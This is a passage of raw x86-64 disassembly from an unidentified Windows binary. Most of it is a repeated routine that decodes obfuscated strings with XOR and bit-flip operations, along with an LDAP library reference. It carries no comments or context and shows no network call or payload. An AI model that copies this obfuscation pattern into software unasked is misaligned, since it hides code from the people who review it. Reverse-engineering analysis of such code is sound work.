jne 0x14027e128
inc cl
cmp cl, 8
jne 0x14027e116
jmp 0x14027e13a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xb1]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027e153
inc cl
cmp cl, 5
jne 0x14027e141
jmp 0x14027e165
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xb0]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xae]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x2b
jne 0x14027e0b0
lea rdx, [r9 + 0x81]
lea rcx, [rbp + 0x1820]
call fcn.140086d40
nop
lea rax, [rbp + 0x1800]
mov qword [rbp + 0x4f0], rax
lea rax, [rbp + 0x1840]
mov qword [rbp + 0x4f8], rax
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x500]
call fcn.1402ac810
nop
movzx eax, byte [r15 + 0x3e]
mov byte [rbp + 0xa30], al
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0xa38]
call fcn.1402ae0f0
nop
lea rdx, [rbp + 0xa30]
lea rcx, [0x1403d2e38]
call fcn.1402adfb0
nop
lea rcx, [rbp + 0xa38]
call fcn.1402ac7a0
nop
lea rcx, [rbp + 0x500]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov r8, r13
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x1800]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x83b0]
call fcn.140085e10
mov rcx, qword [0x1403d2e40]
sub rcx, qword [0x1403d2e38]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov dword [r15 + 0x50], edx
xor edx, edx
lea rcx, [0x1403d2e38]
call fcn.1402ac950
mov r12d, dword [rax]
lea r14, [rax + 4]
mov r13d, dword [r14]
xor eax, eax
mov byte [rsp + 0x5c], al
lea rdx, [rbp + 0x1840]
lea rcx, [rsp + 0x5c]
call fcn.140271470
mov r9, rax
mov byte [rax + 0x38], 0
xor r11d, r11d
lea r8, [rax + 0x2a]
nop dword [rax]
nop word [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x3b]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027e2f6
inc dl
cmp dl, 4
jne 0x14027e2e0
jmp 0x14027e305
movsx ecx, r10b
movzx eax, byte [r9 + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027e324
inc cl
cmp cl, 8
jne 0x14027e312
jmp 0x14027e333
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027e352
inc cl
cmp cl, 5
jne 0x14027e340
jmp 0x14027e361
movsx edx, byte [r8]
movzx eax, byte [r9 + 0x3c]
btc edx, eax
mov byte [r8], dl
add bl, byte [r9 + 0x3a]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0xe
jne 0x14027e2b0
mov r8d, r13d
mov edx, r12d
lea rcx, [r9 + 0x2a]
call fcn.1402ae6e0
lea eax, [r12*4 + 8]
movsxd rcx, eax
xor edx, edx
mov r10d, edx
movsxd rsi, dword [r14 + rcx*4]
lea rbx, [rcx + 2]
lea rbx, [r14 + rbx*4]
test esi, esi
jle 0x14027e3f6
mov r11d, edx
lea r14, [rdx - 1]
nop
mov eax, 1
test r11, r11
cmovne rax, r11
mov r8d, dword [rbx + rax*4 - 4]
mov r9d, 1
cmp dword [rbx + rax*4], r8d
cmovl r9, r14
add r9, rax
lea ecx, [r10 + 1]
test r11, r11
cmovne ecx, r10d
mov r10d, 1
cmp dword [rbx + rax*4], r8d
cmovl r10d, r14d
add r10d, ecx
mov r11, r9
cmp r9, rsi
jl 0x14027e3b0
imul esi, r10d
movsxd rax, esi
lea rbx, [rbx + rax*4]
test rbx, rbx
je 0x14027e451
lea rdx, [rbx + 0x340]
movzx eax, byte [rbx + 0x9a]
mov byte [rsp + 0x30], al
mov eax, dword [rbx + 0x6c]
mov dword [rsp + 0x28], eax
movzx eax, byte [rbx + 0x84]
mov byte [rsp + 0x20], al
movzx r9d, byte [rbx + 0x72]
movss xmm2, dword [rbx + 0x38]
movss xmm1, dword [rbx + 0x34]
mov rcx, rbx
call rdx
test al, al
je 0x14027e448
mov r13, qword [rbx + 0x40]
jmp 0x14027e454
mov r13, qword [rbx + 0x118]
jmp 0x14027e454
mov r13, rdx
mov r15d, dword [r13]
mov r12d, dword [r13 + 4]
xor eax, eax
mov byte [rsp + 0x5d], al
lea rdx, [rbp + 0x1880]
lea rcx, [rsp + 0x5d]
call fcn.140271470
mov r9, rax
mov byte [rax + 0x38], 0
xor r11d, r11d
lea r8, [rax + 0x2a]
nop dword [rax]
nop word [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x3b]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027e4d6
inc dl
cmp dl, 4
jne 0x14027e4c0
jmp 0x14027e4e5
movsx ecx, r10b
movzx eax, byte [r9 + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027e504
inc cl
cmp cl, 8
jne 0x14027e4f2
jmp 0x14027e513
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027e532
inc cl
cmp cl, 5
jne 0x14027e520
jmp 0x14027e541
movsx edx, byte [r8]
movzx eax, byte [r9 + 0x3c]
btc edx, eax
mov byte [r8], dl
add bl, byte [r9 + 0x3a]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0xe
jne 0x14027e490
mov r8d, r12d
mov edx, r15d
lea rcx, [r9 + 0x2a]
call fcn.1402ae6e0
lea eax, [r15*4 + 8]
movsxd r15, eax
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, 4
mov eax, dword [rax + rcx]
cmp dword [0x1403d2e30], eax
jle 0x14027fde1
lea rcx, [0x1403d2e30]
call fcn.140313e18
cmp dword [0x1403d2e30], 0xffffffff
jne 0x14027fde1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x1403d2e38], xmm0
mov qword [0x1403d2e48], rax
mov byte [rsp + 0x5e], al
lea rdx, [rbp + 0x5210]
lea rcx, [rsp + 0x5e]
call fcn.140274120
mov r9, rax
mov byte [rax + 0xb0], 0
xor r12d, r12d
mov r11d, r12d
lea r8, [rax + 0x84]
nop word [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0xb3]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027e637
inc dl
cmp dl, 4
jne 0x14027e621
jmp 0x14027e649
movsx ecx, r10b
movzx eax, byte [r9 + 0xb6]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027e668
inc cl
cmp cl, 8
jne 0x14027e656
jmp 0x14027e67a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xb5]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027e693
inc cl
cmp cl, 5
jne 0x14027e681
jmp 0x14027e6a5
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xb4]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xb2]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x2c
jne 0x14027e5f0
lea rdx, [r9 + 0x84]
lea rcx, [rbp + 0xd60]
call fcn.140086d40
nop
lea rax, [rbp + 0xd60]
mov qword [rbp + 0x510], rax
lea rax, [rbp + 0xd80]
mov qword [rbp + 0x518], rax
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0x520]
call fcn.1402ac810
nop
movzx eax, byte [r13 + r15*4 + 0x39]
mov byte [rbp + 0x4e50], al
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x4e58]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x5f], al
lea rdx, [rbp + 0x2370]
lea rcx, [rsp + 0x5f]
call fcn.140274260
mov r9, rax
mov byte [rax + 0x40], 0
mov r11d, r12d
lea r8, [rax + 0x30]
nop dword [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x43]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027e796
inc dl
cmp dl, 4
jne 0x14027e780
jmp 0x14027e7a5
movsx ecx, r10b
movzx eax, byte [r9 + 0x46]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027e7c4
inc cl
cmp cl, 8
jne 0x14027e7b2
jmp 0x14027e7d3
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x45]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027e7f2
inc cl
cmp cl, 5
jne 0x14027e7e0
jmp 0x14027e801
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x44]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x42]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x10
jne 0x14027e750
lea rdx, [r9 + 0x30]
lea rcx, [rbp + 0x18c0]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x60], al
lea rdx, [rbp + 0x2f80]
lea rcx, [rsp + 0x60]
call fcn.1402742d0
mov r9, rax
mov byte [rax + 0x58], 0
mov r11d, r12d
lea r8, [rax + 0x42]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x5b]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027e896
inc dl
cmp dl, 4
jne 0x14027e880
jmp 0x14027e8a5
movsx ecx, r10b
movzx eax, byte [r9 + 0x5e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027e8c4
inc cl
cmp cl, 8
jne 0x14027e8b2
jmp 0x14027e8d3
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x5d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027e8f2
inc cl
cmp cl, 5
jne 0x14027e8e0
jmp 0x14027e901
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x5c]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x5a]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x16
jne 0x14027e850
lea rdx, [r9 + 0x42]
lea rcx, [rbp + 0x18e0]
call fcn.140086d40
nop
lea rax, [rbp + 0x18c0]
mov qword [rbp + 0x530], rax
lea rax, [rbp + 0x1900]
mov qword [rbp + 0x538], rax
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x540]
call fcn.1402ac810
nop
movzx eax, byte [r13 + r15*4 + 0x3a]
mov byte [rbp + 0x4e68], al
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x4e70]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x61], al
lea rdx, [rbp + 0x4510]
lea rcx, [rsp + 0x61]
call fcn.140274370
mov r9, rax
mov byte [rax + 0x8c], 0
mov r11d, r12d
lea r8, [rax + 0x69]
nop dword [rax]
nop word [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x8f]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027e9f7
inc dl
cmp dl, 4
jne 0x14027e9e1
jmp 0x14027ea09
movsx ecx, r10b
movzx eax, byte [r9 + 0x92]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027ea28
inc cl
cmp cl, 8
jne 0x14027ea16
jmp 0x14027ea3a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x91]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027ea53
inc cl
cmp cl, 5
jne 0x14027ea41
jmp 0x14027ea65
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x90]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x8e]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x23
jne 0x14027e9b0
lea rdx, [r9 + 0x69]
lea rcx, [rbp + 0x3da0]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x62], al
lea rdx, [rbp + 0x1900]
lea rcx, [rsp + 0x62]
call fcn.140274470
mov r9, rax
mov byte [rax + 0x38], 0
mov r11d, r12d
lea r8, [rax + 0x2a]
nop word [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x3b]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027eb06
inc dl
cmp dl, 4
jne 0x14027eaf0
jmp 0x14027eb15
movsx ecx, r10b
movzx eax, byte [r9 + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027eb34
inc cl
cmp cl, 8
jne 0x14027eb22
jmp 0x14027eb43
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027eb62
inc cl
cmp cl, 5
jne 0x14027eb50
jmp 0x14027eb71
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x3c]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x3a]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0xe
jne 0x14027eac0
lea rdx, [r9 + 0x2a]
lea rcx, [rbp + 0x3dc0]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x63], al
lea rdx, [rbp + 0x2fe0]
lea rcx, [rsp + 0x63]
call fcn.1402744e0
mov r9, rax
mov byte [rax + 0x58], 0
mov r11d, r12d
lea r8, [rax + 0x42]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x5b]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027ec06
inc dl
cmp dl, 4
jne 0x14027ebf0
jmp 0x14027ec15
movsx ecx, r10b
movzx eax, byte [r9 + 0x5e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027ec34
inc cl
cmp cl, 8
jne 0x14027ec22
jmp 0x14027ec43
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x5d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027ec62
inc cl
cmp cl, 5
jne 0x14027ec50
jmp 0x14027ec71
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x5c]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x5a]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x16
jne 0x14027ebc0
lea rdx, [r9 + 0x42]
lea rcx, [rbp + 0x3de0]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x64], al
lea rdx, [rbp + 0x5520]
lea rcx, [rsp + 0x64]
call fcn.140274580
mov r9, rax
mov byte [rax + 0xc4], 0
mov r11d, r12d
lea r8, [rax + 0x93]
nop dword [rax]
nop dword [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0xc7]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027ed17
inc dl
cmp dl, 4
jne 0x14027ed01
jmp 0x14027ed29
movsx ecx, r10b
movzx eax, byte [r9 + 0xca]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027ed48
inc cl
cmp cl, 8
jne 0x14027ed36
jmp 0x14027ed5a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xc9]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027ed73
inc cl
cmp cl, 5
jne 0x14027ed61
jmp 0x14027ed85
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xc8]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xc6]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x31
jne 0x14027ecd0
lea rdx, [r9 + 0x93]
lea rcx, [rbp + 0x3e00]
call fcn.140086d40
nop
lea rax, [rbp + 0x3da0]
mov qword [rbp + 0x550], rax
lea rax, [rbp + 0x3e20]
mov qword [rbp + 0x558], rax
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x560]
call fcn.1402ac810
nop
movzx eax, byte [r13 + r15*4 + 0x3b]
mov byte [rbp + 0x4e80], al
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x4e88]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x65], al
lea rdx, [rbp + 0x72b0]
lea rcx, [rsp + 0x65]
call fcn.1402746f0
mov r9, rax
mov byte [rax + 0x180], 0
mov r11d, r12d
lea r8, [rax + 0x120]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x183]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027ee77
inc dl
cmp dl, 4
jne 0x14027ee61
jmp 0x14027ee89
movsx ecx, r10b
movzx eax, byte [r9 + 0x186]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027eea8
inc cl
cmp cl, 8
jne 0x14027ee96
jmp 0x14027eeba
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x185]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027eed3
inc cl
cmp cl, 5
jne 0x14027eec1
jmp 0x14027eee5
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x184]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x182]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x60
jne 0x14027ee30
lea rdx, [r9 + 0x120]
lea rcx, [rbp + 0x1940]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x66], al
lea rdx, [rbp + 0x6fd0]
lea rcx, [rsp + 0x66]
call fcn.140274a00
mov r9, rax
mov byte [rax + 0x144], 0
mov r11d, r12d
lea r8, [rax + 0xf3]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x147]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027ef87
inc dl
cmp dl, 4
jne 0x14027ef71
jmp 0x14027ef99
movsx ecx, r10b
movzx eax, byte [r9 + 0x14a]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027efb8
inc cl
cmp cl, 8
jne 0x14027efa6
jmp 0x14027efca
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x149]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027efe3
inc cl
cmp cl, 5
jne 0x14027efd1
jmp 0x14027eff5
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x148]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x146]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x51
jne 0x14027ef40
lea rdx, [r9 + 0xf3]
lea rcx, [rbp + 0x1960]
call fcn.140086d40
nop
lea rax, [rbp + 0x1940]
mov qword [rbp + 0x570], rax
lea rax, [rbp + 0x1980]
mov qword [rbp + 0x578], rax
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x580]
call fcn.1402ac810
nop
movzx eax, byte [r13 + r15*4 + 0x3c]
mov byte [rbp + 0x4e98], al
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x4ea0]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x67], al
lea rdx, [rbp + 0x5fd0]
lea rcx, [rsp + 0x67]
call fcn.140274c90
mov r9, rax
mov byte [rax + 0xf0], 0
mov r11d, r12d
lea r8, [rax + 0xb4]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0xf3]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027f0e7
inc dl
cmp dl, 4
jne 0x14027f0d1
jmp 0x14027f0f9
movsx ecx, r10b
movzx eax, byte [r9 + 0xf6]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f118
inc cl
cmp cl, 8
jne 0x14027f106
jmp 0x14027f12a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xf5]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f143
inc cl
cmp cl, 5
jne 0x14027f131
jmp 0x14027f155
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xf4]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xf2]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x3c
jne 0x14027f0a0
lea rdx, [r9 + 0xb4]
lea rcx, [rbp + 0x3e20]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x68], al
lea rdx, [rbp + 0x5b20]
lea rcx, [rsp + 0x68]
call fcn.140274e60
mov r9, rax
mov byte [rax + 0xcc], 0
mov r11d, r12d
lea r8, [rax + 0x99]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0xcf]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027f1f7
inc dl
cmp dl, 4
jne 0x14027f1e1
jmp 0x14027f209
movsx ecx, r10b
movzx eax, byte [r9 + 0xd2]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f228
inc cl
cmp cl, 8
jne 0x14027f216
jmp 0x14027f23a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xd1]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f253
inc cl
cmp cl, 5
jne 0x14027f241
jmp 0x14027f265
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xd0]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xce]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x33
jne 0x14027f1b0
lea rdx, [r9 + 0x99]
lea rcx, [rbp + 0x3e40]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x69], al
lea rdx, [rbp + 0x3ea0]
lea rcx, [rsp + 0x69]
call fcn.140274fe0
mov r9, rax
mov byte [rax + 0x78], 0
mov r11d, r12d
lea r8, [rax + 0x5a]
nop dword [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x7b]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027f306
inc dl
cmp dl, 4
jne 0x14027f2f0
jmp 0x14027f315
movsx ecx, r10b
movzx eax, byte [r9 + 0x7e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f334
inc cl
cmp cl, 8
jne 0x14027f322
jmp 0x14027f343
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x7d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f362
inc cl
cmp cl, 5
jne 0x14027f350
jmp 0x14027f371
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x7c]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x7a]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x1e
jne 0x14027f2c0
lea rdx, [r9 + 0x5a]
lea rcx, [rbp + 0x3e60]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x6a], al
lea rdx, [rbp + 0x2190]
lea rcx, [rsp + 0x6a]
call fcn.1402750b0
mov r9, rax
mov byte [rax + 0x44], 0
mov r11d, r12d
lea r8, [rax + 0x33]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
